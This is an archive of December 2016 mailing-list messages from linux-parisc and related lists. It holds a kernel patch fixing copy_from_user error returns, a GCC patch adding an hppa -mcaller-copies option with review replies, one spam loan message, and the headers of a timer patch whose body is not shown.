	for glkj-kernel-janitors-2@m.gmane.org; Sat, 10 Dec 2016 10:14:55 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751639AbcLJJO5 (ORCPT
        <rfc822;glkj-kernel-janitors-2@m.gmane.org>);
        Sat, 10 Dec 2016 04:14:57 -0500
Original-Received: from aserp1040.oracle.com ([141.146.126.69]:17486 "EHLO
        aserp1040.oracle.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1751194AbcLJJO4 (ORCPT
        <rfc822;kernel-janitors@vger.kernel.org>);
        Sat, 10 Dec 2016 04:14:56 -0500
Original-Received: from userv0021.oracle.com (userv0021.oracle.com [156.151.31.71])
        by aserp1040.oracle.com (Sentrion-MTA-4.3.2/Sentrion-MTA-4.3.2) with ESMTP id uBA9EkUZ027706
        (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=OK);
        Sat, 10 Dec 2016 09:14:48 GMT
Original-Received: from userv0122.oracle.com (userv0122.oracle.com [156.151.31.75])
        by userv0021.oracle.com (8.14.4/8.14.4) with ESMTP id uBA9EkPu003930
        (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-GCM-SHA384 bits=256 verify=OK);
        Sat, 10 Dec 2016 09:14:46 GMT
Original-Received: from abhmp0016.oracle.com (abhmp0016.oracle.com [141.146.116.22])
        by userv0122.oracle.com (8.14.4/8.14.4) with ESMTP id uBA9EjWr012805;
        Sat, 10 Dec 2016 09:14:45 GMT
Original-Received: from elgon.mountain (/197.157.0.29)
        by default (Oracle Beehive Gateway v4.0)
        with ESMTP ; Sat, 10 Dec 2016 01:14:44 -0800
Content-Disposition: inline
In-Reply-To: <CAOmT4fTi+7r=1OJsumVC_+ET-NXcGjsZ5+t5ppm0eZZ2VeuF-A@mail.gmail.com>
X-Source-IP: userv0021.oracle.com [156.151.31.71]
Original-Sender: kernel-janitors-owner@vger.kernel.org
Precedence: bulk
List-ID: <kernel-janitors.vger.kernel.org>
X-Mailing-List: kernel-janitors@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.janitors:41440 gmane.linux.ports.parisc:27110
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.janitors/41440>

The copy_from_user() returns the number of bytes remaining to be copied
but we want to return -EFAULT if it's non-zero.

Signed-off-by: Dan Carpenter <dan.carpenter@oracle.com>
---
v2: Fix unused variable warning.  Thanks, Bojan.

diff --git a/arch/parisc/kernel/perf.c b/arch/parisc/kernel/perf.c
index 518f4f5f1f43..6eabce62463b 100644
--- a/arch/parisc/kernel/perf.c
+++ b/arch/parisc/kernel/perf.c
@@ -301,7 +301,6 @@ static ssize_t perf_read(struct file *file, char __user *buf, size_t cnt, loff_t
 static ssize_t perf_write(struct file *file, const char __user *buf, size_t count, 
 	loff_t *ppos)
 {
-	int err;
 	size_t image_size;
 	uint32_t image_type;
 	uint32_t interface_type;
@@ -320,8 +319,8 @@ static ssize_t perf_write(struct file *file, const char __user *buf, size_t coun
 	if (count != sizeof(uint32_t))
 		return -EIO;
 
-	if ((err = copy_from_user(&image_type, buf, sizeof(uint32_t))) != 0) 
-		return err;
+	if (copy_from_user(&image_type, buf, sizeof(uint32_t)))
+		return -EFAULT;
 
 	/* Get the interface type and test type */
    	interface_type = (image_type >> 16) & 0xffff;
--
To unsubscribe from this list: send the line "unsubscribe kernel-janitors" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.janitors
Subject: Re: [patch v2] parisc: perf: return -EFAULT on error
Date: Sat, 10 Dec 2016 21:40:56 +0100
Lines: 49
Approved: news@gmane.org
Message-ID: <f37281cb-ccf8-27df-259c-69e7b7f5e808@gmx.de>
References: <20161210090625.GA12892@elgon.mountain>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=windows-1252
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1481402467 15469 195.159.176.226 (10 Dec 2016 20:41:07 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sat, 10 Dec 2016 20:41:07 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101
 Thunderbird/45.5.1
Cc: linux-parisc@vger.kernel.org, kernel-janitors@vger.kernel.org
To: Dan Carpenter <dan.carpenter@oracle.com>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Dec 10 21:41:03 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1cFoS5-0000Sp-Rt
	for glpp-linux-parisc@m.gmane.org; Sat, 10 Dec 2016 21:41:02 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751088AbcLJUlG (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Sat, 10 Dec 2016 15:41:06 -0500
Original-Received: from mout.gmx.net ([212.227.15.18]:57473 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1751989AbcLJUlF (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Sat, 10 Dec 2016 15:41:05 -0500
Original-Received: from [192.168.20.60] ([92.203.35.172]) by mail.gmx.com (mrgmx001
 [212.227.17.190]) with ESMTPSA (Nemesis) id 0Lq9oW-1ctZ740Znc-00dk2z; Sat, 10
 Dec 2016 21:40:58 +0100
In-Reply-To: <20161210090625.GA12892@elgon.mountain>
X-Provags-ID: V03:K0:ddxR/4qfWH3MkHpZKqmAvogrTApC5jwYo9LIniWRbfg5V80dYU4
 tjcgdZTB36OPfx/spAhob8v/jLAPU4cmGeL97c+jTZxmlHXZ87zC7MkaUke8sAGODj7Z8Hu
 pkkGId8eSjiFWjEh8ktPm6GGrmhxT1g2c+/5kLiOLTYOUHXj1swnVCaq7d0zTw1cf4bOKuI
 Vtb+TS4v5K7ekMmjo1l4A==
X-UI-Out-Filterresults: notjunk:1;V01:K0:a8xKhWjqnzk=:E4mGP+f2xcN0SQ/eU9z2fl
 rp+OD06NkD7Cg46JQyfuDy28o8j0xfRegSHoo1klFQiPTuzL65BGIT/ic7eyr06pV8C17MaRc
 SNzWiZqet24nck6Ov2j+Owf7KJ224PU68Jds6eNnTqPIeeYFB5murDBffPcf0NkVi2/qoFSwT
 3GkeoFcD0MFYeDll2hfa78nrlByFMUYj5Z6fVKoYlfXhgRBMHoV+vqKQ3AU9uAt6jpqqMgLuk
 enn/VYgWZV4LI+B9/QCAKisltgOFSAOr/YEb4KPQBhGonqCHuwD0iaWdI9zslTH9pgati62yY
 rmbmhbrebIFuP2VolYFrexIhwpN/OUhs3P3wavc8LndTC7lfH5yLiT3zKpbd56Cyoiqg2vUrT
 gokk2KqKDVpe/qp88fEq+xNlcTSzqNHT1twrgOLGC0uKq1zOyxMa/H8KTnrbHNVRI4EW/gscW
 V/ZLBOiZ8gPl5eA5QAa5EThKtD2ntQfHefwfHg7acqgC0vmbkSvZzQ/lqLRZzs4/bZNOtXToA
 jJUAME6tOP4gwnIb2hIHMPNl/FrDDCUd0P0yymsOZWmwlmNgewRswOjQlI+qSthQ+T7K3Advm
 54IA18daJVTQFfkvrzfC/l2dmQ4FNSry3ZXLyfjqqUwixYEl56DfTkeeJUjhE1jpH967G7YQE
 McWLXsipaW61naDfZcL28lZ4KwxB+jz0aEQH/pOapSayuVEVi/ZgMOCagMunU0jiE+2y8QM0/
 Ui/TF1I/rnTs8A331ohfSlGH3G4oe6Y6DDMufl09lksgmzEtvl5FhZjP8zxFyp3SghUTkOcA 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27111 gmane.linux.kernel.janitors:41447
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27111>

On 10.12.2016 10:06, Dan Carpenter wrote:
> The copy_from_user() returns the number of bytes remaining to be copied
> but we want to return -EFAULT if it's non-zero.
> 
> Signed-off-by: Dan Carpenter <dan.carpenter@oracle.com>

Thanks Dan!
I'll add it to my next push request for the parisc architecture.

Helge


> ---
> v2: Fix unused variable warning.  Thanks, Bojan.
> 
> diff --git a/arch/parisc/kernel/perf.c b/arch/parisc/kernel/perf.c
> index 518f4f5f1f43..6eabce62463b 100644
> --- a/arch/parisc/kernel/perf.c
> +++ b/arch/parisc/kernel/perf.c
> @@ -301,7 +301,6 @@ static ssize_t perf_read(struct file *file, char __user *buf, size_t cnt, loff_t
>  static ssize_t perf_write(struct file *file, const char __user *buf, size_t count, 
>  	loff_t *ppos)
>  {
> -	int err;
>  	size_t image_size;
>  	uint32_t image_type;
>  	uint32_t interface_type;
> @@ -320,8 +319,8 @@ static ssize_t perf_write(struct file *file, const char __user *buf, size_t coun
>  	if (count != sizeof(uint32_t))
>  		return -EIO;
>  
> -	if ((err = copy_from_user(&image_type, buf, sizeof(uint32_t))) != 0) 
> -		return err;
> +	if (copy_from_user(&image_type, buf, sizeof(uint32_t)))
> +		return -EFAULT;
>  
>  	/* Get the interface type and test type */
>     	interface_type = (image_type >> 16) & 0xffff;
> --
> To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
> the body of a message to majordomo@vger.kernel.org
> More majordomo info at  http://vger.kernel.org/majordomo-info.html
> 

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:23 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc,gmane.comp.gcc.patches
Subject: [committed] parisc:  -mcaller-copies option
Date: Sun, 11 Dec 2016 14:30:58 -0500
Lines: 150
Approved: news@gmane.org
Message-ID: <99E90516-2165-4BC3-9E46-6900C6BA8F79@bell.net>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0 (Apple Message framework v1085)
Content-Type: multipart/mixed; boundary=Apple-Mail-42-666284771
X-Trace: blaine.gmane.org 1481484663 24853 195.159.176.226 (11 Dec 2016 19:31:03 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sun, 11 Dec 2016 19:31:03 +0000 (UTC)
Cc: "linux-parisc@vger.kernel.org List" <linux-parisc@vger.kernel.org>
To: "gcc-patches@gcc.gnu.org Patches" <gcc-patches@gcc.gnu.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Dec 11 20:30:59 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1cG9po-0005Hk-Fr
	for glpp-linux-parisc@m.gmane.org; Sun, 11 Dec 2016 20:30:56 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1753706AbcLKTbA (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Sun, 11 Dec 2016 14:31:00 -0500
Original-Received: from belmont79srvr.owm.bell.net ([184.150.200.79]:44485 "EHLO
        mtlfep01.bell.net" rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org
        with ESMTP id S1753620AbcLKTbA (ORCPT
        <rfc822;linux-parisc@vger.kernel.org>);
        Sun, 11 Dec 2016 14:31:00 -0500
Original-Received: from bell.net mtlfep01 184.150.200.30 by mtlfep01.bell.net
          with ESMTP
          id <20161211193058.EEXV24384.mtlfep01.bell.net@mtlspm01.bell.net>
          for <linux-parisc@vger.kernel.org>;
          Sun, 11 Dec 2016 14:30:58 -0500
Original-Received: from [192.168.2.10] (really [184.144.120.170])
          by mtlspm01.bell.net with ESMTP
          id <20161211193058.KTWE3828.mtlspm01.bell.net@[192.168.2.10]>;
          Sun, 11 Dec 2016 14:30:58 -0500
X-Mailer: Apple Mail (2.1085)
X-Opwv-CommTouchExtSvcRefID: str=0001.0A020204.584DA972.0195,ss=1,re=0.000,recu=0.000,reip=0.000,cl=1,cld=1,fgs=0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27112 gmane.comp.gcc.patches:388173
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27112>


--Apple-Mail-42-666284771
Content-Transfer-Encoding: quoted-printable
Content-Type: text/plain;
	charset=us-ascii

The attached change implements a new -mcaller-copies option on hppa.  =
The default 32-bit runtime
specifies that the callee copies arguments passed by hidden reference.  =
This is optimal but it causes
problems with openmp.  See PR middle-end/68733:
https://gcc.gnu.org/bugzilla/show_bug.cgi?id=3D68733

It's not clear openmp can be fixed to work with callee copies targets.

This option provides a work around.  The general consensus is that =
caller copies is better tested
and it seems probable that we will switch to caller copies on Debian =
when we switch to gcc-7.

Tested on hppa-unknown-linux-gnu, hppa2.0w-hp-hpux11.11 and =
hppa64-hp-hpux11.11 with no observed
regression.  When enabled, it fixes the failures noted in PR 68733.

Committed to trunk.

Dave
--
John David Anglin	dave.anglin@bell.net



--Apple-Mail-42-666284771
Content-Disposition: attachment;
	filename=callee-copies.d.txt
Content-Type: text/plain;
	name="callee-copies.d.txt"
Content-Transfer-Encoding: quoted-printable

2012-12-11  John David Anglin  <danglin@gcc.gnu.org>

	* config/pa/pa.c (pa_callee_copies): New function.
	* config/pa/pa.opt (mcaller-copies): New option.
	* doc/invoke.texi (mcaller-copies): Document option.

Index: config/pa/pa.c
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
--- config/pa/pa.c	(revision 243232)
+++ config/pa/pa.c	(working copy)
@@ -195,6 +195,8 @@
 static bool pa_legitimate_constant_p (machine_mode, rtx);
 static unsigned int pa_section_type_flags (tree, const char *, int);
 static bool pa_legitimate_address_p (machine_mode, rtx, bool);
+static bool pa_callee_copies (cumulative_args_t, machine_mode,
+			      const_tree, bool);
=20
 /* The following extra sections are only used for SOM.  */
 static GTY(()) section *som_readonly_data_section;
@@ -343,7 +345,7 @@
 #undef TARGET_PASS_BY_REFERENCE
 #define TARGET_PASS_BY_REFERENCE pa_pass_by_reference
 #undef TARGET_CALLEE_COPIES
-#define TARGET_CALLEE_COPIES =
hook_bool_CUMULATIVE_ARGS_mode_tree_bool_true
+#define TARGET_CALLEE_COPIES pa_callee_copies
 #undef TARGET_ARG_PARTIAL_BYTES
 #define TARGET_ARG_PARTIAL_BYTES pa_arg_partial_bytes
 #undef TARGET_FUNCTION_ARG
@@ -10720,4 +10722,19 @@
   return NULL_RTX;
 }
=20
+/* Implement TARGET_CALLEE_COPIES.  The callee is responsible for =
copying
+   arguments passed by hidden reference in the 32-bit HP runtime.  =
Users
+   can override this behavior for better compatibility with openmp at =
the
+   risk of library incompatibilities.  Arguments are always passed by =
value
+   in the 64-bit HP runtime.  */
+
+static bool
+pa_callee_copies (cumulative_args_t cum ATTRIBUTE_UNUSED,
+		  machine_mode mode ATTRIBUTE_UNUSED,
+		  const_tree type ATTRIBUTE_UNUSED,
+		  bool named ATTRIBUTE_UNUSED)
+{
+  return !TARGET_CALLER_COPIES;
+}
+
 #include "gt-pa.h"
Index: config/pa/pa.opt
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
--- config/pa/pa.opt	(revision 243232)
+++ config/pa/pa.opt	(working copy)
@@ -41,6 +41,10 @@
 Target Ignore
 Does nothing.  Preserved for backward compatibility.
=20
+mcaller-copies
+Target Report Mask(CALLER_COPIES)
+Caller copies function arguments passed by hidden reference.
+
 mdisable-fpregs
 Target Report Mask(DISABLE_FPREGS)
 Disable FP regs.
Index: doc/invoke.texi
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
--- doc/invoke.texi	(revision 243232)
+++ doc/invoke.texi	(working copy)
@@ -761,7 +761,7 @@
=20
 @emph{HPPA Options}
 @gccoptlist{-march=3D@var{architecture-type} @gol
--mdisable-fpregs  -mdisable-indexing @gol
+-mcaller-copies  -mdisable-fpregs  -mdisable-indexing @gol
 -mfast-indirect-calls  -mgas  -mgnu-ld   -mhp-ld @gol
 -mfixed-range=3D@var{register-range} @gol
 -mjump-in-delay -mlinker-opt -mlong-calls @gol
@@ -17363,6 +17363,14 @@
 @opindex mpa-risc-2-0
 Synonyms for @option{-march=3D1.0}, @option{-march=3D1.1}, and =
@option{-march=3D2.0} respectively.
=20
+@item -mcaller-copies
+@opindex mcaller-copies
+The caller copies function arguments passed by hidden reference.  This
+option should be used with care as it is not compatible with the =
default
+32-bit runtime.  However, only aggregates larger than eight bytes are
+passed by hidden reference and the option provides better compatibility
+with openmp.
+
 @item -mjump-in-delay
 @opindex mjump-in-delay
 This option is ignored and provided for compatibility purposes only.

--Apple-Mail-42-666284771--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Sandra Loosemore <sandra@codesourcery.com>
Newsgroups: gmane.linux.ports.parisc,gmane.comp.gcc.patches
Subject: Re: [committed] parisc: -mcaller-copies option
Date: Sun, 11 Dec 2016 19:22:24 -0700
Lines: 19
Approved: news@gmane.org
Message-ID: <584E09E0.5070401@codesourcery.com>
References: <99E90516-2165-4BC3-9E46-6900C6BA8F79@bell.net>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="windows-1252"; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1481509352 9120 195.159.176.226 (12 Dec 2016 02:22:32 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 12 Dec 2016 02:22:32 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101
 Thunderbird/38.5.1
Cc: "linux-parisc@vger.kernel.org List" <linux-parisc@vger.kernel.org>
To: John David Anglin <dave.anglin@bell.net>,
        "gcc-patches@gcc.gnu.org Patches" <gcc-patches@gcc.gnu.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Dec 12 03:22:28 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1cGGG2-0004kS-Pc
	for glpp-linux-parisc@m.gmane.org; Mon, 12 Dec 2016 03:22:27 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1753836AbcLLCWb (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Sun, 11 Dec 2016 21:22:31 -0500
Original-Received: from relay1.mentorg.com ([192.94.38.131]:41870 "EHLO
        relay1.mentorg.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1751677AbcLLCWb (ORCPT
        <rfc822;linux-parisc@vger.kernel.org>);
        Sun, 11 Dec 2016 21:22:31 -0500
Original-Received: from svr-orw-mbx-03.mgc.mentorg.com ([147.34.90.203])
        by relay1.mentorg.com with esmtp 
        id 1cGGG4-0003n0-E1 from Sandra_Loosemore@mentor.com ; Sun, 11 Dec 2016 18:22:28 -0800
Original-Received: from [127.0.0.1] (147.34.91.1) by svr-orw-mbx-03.mgc.mentorg.com
 (147.34.90.203) with Microsoft SMTP Server (TLS) id 15.0.1210.3; Sun, 11 Dec
 2016 18:22:24 -0800
In-Reply-To: <99E90516-2165-4BC3-9E46-6900C6BA8F79@bell.net>
X-ClientProxiedBy: svr-orw-mbx-02.mgc.mentorg.com (147.34.90.202) To
 svr-orw-mbx-03.mgc.mentorg.com (147.34.90.203)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27113 gmane.comp.gcc.patches:388187
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27113>

On 12/11/2016 12:30 PM, John David Anglin wrote:

> +@item -mcaller-copies
> +@opindex mcaller-copies
> +The caller copies function arguments passed by hidden reference.  This
> +option should be used with care as it is not compatible with the default
> +32-bit runtime.  However, only aggregates larger than eight bytes are
> +passed by hidden reference and the option provides better compatibility
> +with openmp.

Please fix this to spell "OpenMP" correctly.

-Sandra

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:23 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: bancoleite@sms.goiania.go.gov.br
Newsgroups: gmane.linux.ports.parisc
Subject: DO YOU NEED A LOAN??
Date: Tue, 13 Dec 2016 10:57:18 +0530
Lines: 6
Approved: news@gmane.org
Message-ID: <20161213054052.907F55F6C03__38699.6026420549$1481607345$gmane$org@zmail.goiania.go.gov.br>
Reply-To: finansbank.muhaberrat@accountant.com
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: 8BIT
X-Trace: blaine.gmane.org 1481607345 11759 195.159.176.226 (13 Dec 2016 05:35:45 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 13 Dec 2016 05:35:45 +0000 (UTC)
To: Recipients <bancoleite@sms.goiania.go.gov.br>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Dec 13 06:35:41 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1cGfka-0001xJ-4t
	for glpp-linux-parisc@m.gmane.org; Tue, 13 Dec 2016 06:35:40 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S932398AbcLMFfO convert rfc822-to-8bit (ORCPT
        <rfc822;glpp-linux-parisc@m.gmane.org>);
        Tue, 13 Dec 2016 00:35:14 -0500
Original-Received: from correio.goiania.go.gov.br ([200.199.226.131]:42256 "EHLO
        zmail.goiania.go.gov.br" rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org
        with ESMTP id S1752977AbcLMFfL (ORCPT
        <rfc822;linux-parisc@vger.kernel.org>);
        Tue, 13 Dec 2016 00:35:11 -0500
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
        by zmail.goiania.go.gov.br (Postfix) with ESMTP id 5C59C5F6C23;
        Tue, 13 Dec 2016 03:41:01 -0200 (BRST)
X-Virus-Scanned: amavisd-new at zmail.goiania.go.gov.br
Original-Received: from zmail.goiania.go.gov.br ([127.0.0.1])
        by localhost (zmail.goiania.go.gov.br [127.0.0.1]) (amavisd-new, port 10024)
        with ESMTP id xiHMCs0RaIxB; Tue, 13 Dec 2016 03:41:01 -0200 (BRST)
Original-Received: from [192.168.0.103] (unknown [116.68.243.191])
        by zmail.goiania.go.gov.br (Postfix) with ESMTPSA id 907F55F6C03;
        Tue, 13 Dec 2016 03:40:52 -0200 (BRST)
Content-Description: Mail message body
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27114
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27114>

Are you in need of a loan? Apply for more details.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:23 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: Optimize timer interrupt function
Date: Tue, 20 Dec 2016 20:51:10 +0100
Lines: 187
Approved: news@gmane.org
Message-ID: <20161220195110.GA20229@p100.box>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1482263488 17479 195.159.176.226 (20 Dec 2016 19:51:28 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 20 Dec 2016 19:51:28 +0000 (UTC)
User-Agent: Mutt/1.5.23 (2014-03-12)
To: linux-parisc@vger.kernel.org,
        James Bottomley <James.Bottomley@HansenPartnership.com>,
        John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Dec 20 20:51:24 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1cJQRW-0001j8-8a
	for glpp-linux-parisc@m.gmane.org; Tue, 20 Dec 2016 20:51:22 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1755895AbcLTTv0 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Tue, 20 Dec 2016 14:51:26 -0500
Original-Received: from mout.gmx.net ([212.227.17.20]:60455 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1755736AbcLTTvZ (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Tue, 20 Dec 2016 14:51:25 -0500
Original-Received: from p100.box ([92.203.63.88]) by mail.gmx.com (mrgmx102
 [212.227.17.168]) with ESMTPSA (Nemesis) id 0MOTRh-1cFs4E2v5B-005m5l; Tue, 20
 Dec 2016 20:51:15 +0100
Content-Disposition: inline
X-Provags-ID: V03:K0:57GBKCK0SlYIP0r0/sGPgWt+raOlnroXSN3xsWIkMB6EKq6BSqv
 bqTCcqxyYNz8Awa44suAFmVKdF/6IeCsDW07fU11jJ0ZE1JflZjLvPK/CLwX0JtgI08k0y8
 4bVXPI3IEB7vj9HvQw+SwEyL6vDvR+9PutHkjRGRJv+7GSu/hXQhPbedRwoNjPrOX7IyhK8
 vVUbSSoMylAlXU2V2jruQ==
X-UI-Out-Filterresults: notjunk:1;V01:K0:fdynqxeGqdc=:ylXICic5WUUON/XbYfHCYA
 PdDGngP49ARmF6A/oVweTpWqfW4QLS7t5Z7iVjCJFBJuj6bhNWrw3WcK9FiR6a1YcTYstlZmv
 d/EOxP2rndHGy2OxJbN1t45rKBHlnLBi71FHMjmmFUEr/XpMth5kV5p9ZsVo9UujHClGq3ujc
 84h4iGCDOQlyb6Z5mAwlekuKI3y3+X3Uc1AvhRv4LqM5yqqsbKORvkCzLaDgVIh88B/OpnUFf
 71mezmiNGMGaev94CmFTkLD4MFdjcA4SUArDQibZabNlY0Rh7bmEWye1JwE08iGuSK9tOn40U
 S51EDw4oDuekxj2nyCW/Ad3GEw/yaxgtKTCx0LQQLPHWKsoyuLfOZxCrff8mEOd/TlOgqQe7l
 5ftnJcriFCXOOLOvP2u/zJltXA5HvnUU8VoRtQ3DF9JIwb8/3rHSxmFOktgnFPV+iD1/JaJKy
 v8l1Ya1fv0Eir58pfYHbKb5MOdUHTPpQ5iDAKqVRxuO/PQfhTy792A9NF8CEw2ifg2W8dqnu6
